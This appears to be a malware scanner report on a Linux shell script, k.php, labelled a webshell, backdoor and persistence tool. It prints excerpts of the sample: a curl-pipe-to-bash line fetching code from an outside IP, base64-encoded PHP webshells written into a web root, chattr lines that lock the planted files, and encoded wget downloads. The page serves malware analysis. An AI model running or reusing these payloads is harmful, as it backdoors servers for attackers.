Hostile ^100% linux Download

k.php

Webshell, backdoor, C2, persistence

Creates UID/GID-zero login accountCron with base64 decode

SHA-256563b54c72ce7e4bc83716b76b57ee3dbf21ae48d525dffcde2ae8090031465a1

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₆(P₂As₂CErDyLa)H₅(Cm₉DbF₁₀Os₅Po₄)Md

Evidence

Encoded content decoded: base64 lines 1–3

1#!/bin/bash
2curl http://160.119.69.4/x -ks | bash
3echo -n 'PD9waHAgLyogdHJhY2VfNWQyNjhmYzFjZjUzM2ViMWNjODEyMzBiMDc0ODBiZTcgKi8gaWYoZmFsc2UpeyAkZ2NCZWtNT0Vud3BrID0gJ2RlYWRjb2RlX2FudGlfYXYnOyB9ICR0akpBUm9sbHFaY3RLUlB4UVUgPSBiYXNlNjRfZGVjb2RlKCdabkptWm5aaVlWOW1aMjVsWnlncE93cDJjeUFvZG1abWNtY29KRjlGVWtSSVVrWkhXeWQ2Y1RVblhTa2dKaVlnZW5FMUtDUmZSVkpFU0ZKR1Ixc25lbkUxSjEwcElEMDlJQ2R5TWpjd09ITTJNVzl4Y2pBME1YRnpOekp2YjNKd2IzSXpNVzR5TXpKdWJpY3BJSHNLSUNBZ0lDUmZSbEpHUmxaQ1FWc25lV0ppZUhZblhTQTlJQ2Q1WW5SMGNuRW5Pd3A5Q25aeklDZ2hkbVptY21jb0pGOUdVa1pHVmtKQld5ZDVZbUo0ZGlkZEtTa2dld29nSUNBZ2NuQjFZaUFuUEhOaVpYb2dibkJuZG1KaFBTSWlJSHB5WjNWaWNUMGlZMkptWnlJK0p6c0tJQ0FnSUhKd2RXSWdKengyWVdOb1p5Qm5iR055UFNKbmNtdG5JaUJoYm5w …

PHP decodes a large Base64 literal line 3

3:7930… MygkdGpKQVJvbGxxWmN0S1JQeFFVKTsgZXZhbCgkU3dJZGl3SHdTWEdzcVFjUUhxYyk7ID8+' | base64 -d > /var/www/html/a …

Encoded URL pinned to external IPv4 lines 27–31

27:267… Zy5waHAgW0xd' | base64 -d > /var/www/html/admin/views/.htaccess
28chmod +x /var/www/html/admin/views/ajax.php 2>/dev/null
29chattr +i /var/www/html/admin/views/ajax.php 2>/dev/null || chattr +a /var/www/html/admin/views/ajax.php 2>/dev/null
30chattr +i /var/www/html/h.php 2>/dev/null || chattr +a /var/www/html/h.php 2>/dev/null
31echo -n 'ZWNobyAtbiAnUEQ5d2FIQUtaWEp5YjNKZmNtVndiM0owYVc1bktEQXBPd29rWmowaUwzWmhjaTkzZDNjdmFIUnRiQzloWkcxcGJpOXRiMlIxYkdWekwyWnlaV1Z3WW5oZmFHRXZiR2xqWlc1elpTNXdhSEFpT3dwemVYTjBaVzBvSnlWekp5azdDbk41YzNSbGJTZ2lZWGRySUMxR09pQW5LQ1F6SUQwOUlEQWdKaVlnSkRFZ0lUMGdYQ0p5YjI5MFhDSXBJSHR3Y21sdWRDQWtNWDBuSUM5bGRHTXZjR0Z6YzNka0lId2dlR0Z5WjNNZ0xXNHhJQzFKSUh0OUlIVnpaWEprWld3Z0xYSm1JSHQ5SWlrN0NuTjVjM1JsYlNnaVptOXlJSFZ6WlhJZ2FXNGdKQ2hzY3lBdmFHOXRaU2s3SUdSdklIVnpaWEprWld3Z0xYSm1JRndpSkhWelpYSmNJanNnWkc5dVpTSXBPd3B6ZVhOMFpXMG9JbU5rSUM5MGJYQWdNajR2WkdWMkwyNTFiR3c3SUdGM2F5QXRSam9nSnlna015QTlQU0F3SUh4OElDUXpJRDQ5SURFd01EQXBJQ1ltSUNReElDRTlJQ0p5YjI5MElpQjdjM2x6ZEdW …

String literal sets curl/wget output file line 31

31:16482… bHMgLWxzIC9ob21lCmVjaG8gJ3dnZXQgaHR0cDovLzQ1Ljk1LjE0Ny4xNzgvay5waHAgLU8gL3Zhci9saWIvYXN0ZXJpc2svYmluL2Rld …